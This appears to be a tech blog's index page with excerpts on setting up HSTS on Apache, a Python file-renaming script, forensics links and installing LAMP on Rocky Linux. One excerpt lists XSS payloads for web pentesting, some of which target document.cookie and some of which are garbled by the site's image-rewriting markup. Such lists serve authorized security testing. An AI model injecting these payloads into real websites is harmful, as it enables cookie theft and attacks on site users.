How to set HSTS

Per impostare HSTS (HTTP Strict Transport Security) su Apache, segui questi passaggi: Assicurati che il tuo sito sia accessibile tramite HTTPS: Prima di abilitare HSTS, il tuo sito deve essere configurato correttamente con un certificato SSL/TLS valido. Verifica che tutte le pagine e le risorse (immagini, script, CSS) siano servite tramite HTTPS. Abilita il modulo … Read more

What is HSTS (HTTP Strict Transport Security)?

Foreword HSTS is a security mechanism that forces web browsers to interact with websites using HTTPS only, even if the user tries to access the site via an HTTP URL. This ensures encrypted communication between the browser and the server, preventing attackers from intercepting or altering data. Why You Should Avoid Disabling HSTS Disabling HSTS … Read more

renaming all files in a directory with a twist

can you provide a python code to rename all files in a directory with a pattern Certainly! Here’s an example of Python code that renames all files in a directory with a specified pattern: import os def rename_files(directory_path, pattern): for filename in os.listdir(directory_path): if os.path.isfile(os.path.join(directory_path, filename)): new_filename = pattern.replace(‘*’, filename) os.rename(os.path.join(directory_path, filename), os.path.join(directory_path, new_filename)) print(f”Renamed … Read more

Payloads for web pentesting

List of Pay Loads Note that using these payloads without proper authorization and permission is illegal and unethical. It is important to only use them for legitimate testing purposes and with the owner’s consent. XSS Payloads <script>alert(“XSS”);</script> <img src=”x” data-lazy-src=”http://x?is-pending-load=1″ srcset=”data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7″ class=” jetpack-lazy-image”><noscript><img data-lazy-fallback=”1″ src=x onerror=alert(‘XSS’) /></noscript> <script>prompt(document.cookie)</script> <svg/onload=alert(document.cookie)> <iframe src=”javascript:alert(‘XSS’);”></iframe> <img decoding=”async” src=”alert(&#039;XSS&#039;);” data-lazy-src=”http://alert(&#039;XSS&#039;);?is-pending-load=1″ … Read more

Forensic material

ONIF – Osservatorio Nazionale Informatica Forense https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/dfir-digital-forensics-and-incident-response

Installing LAMP on Rocky Linux

1. Upgrade Rocky to the latest yum upgrade Say yes to everything and wait 2. Apache installation yum install httpd Enable it on OS bootstrap with systemctl enable httpd Start it with systemctl start httpd Check if it is running with systemctl status httpd or use a browser pointing to http://ip-address. If you’re not receiveing … Read more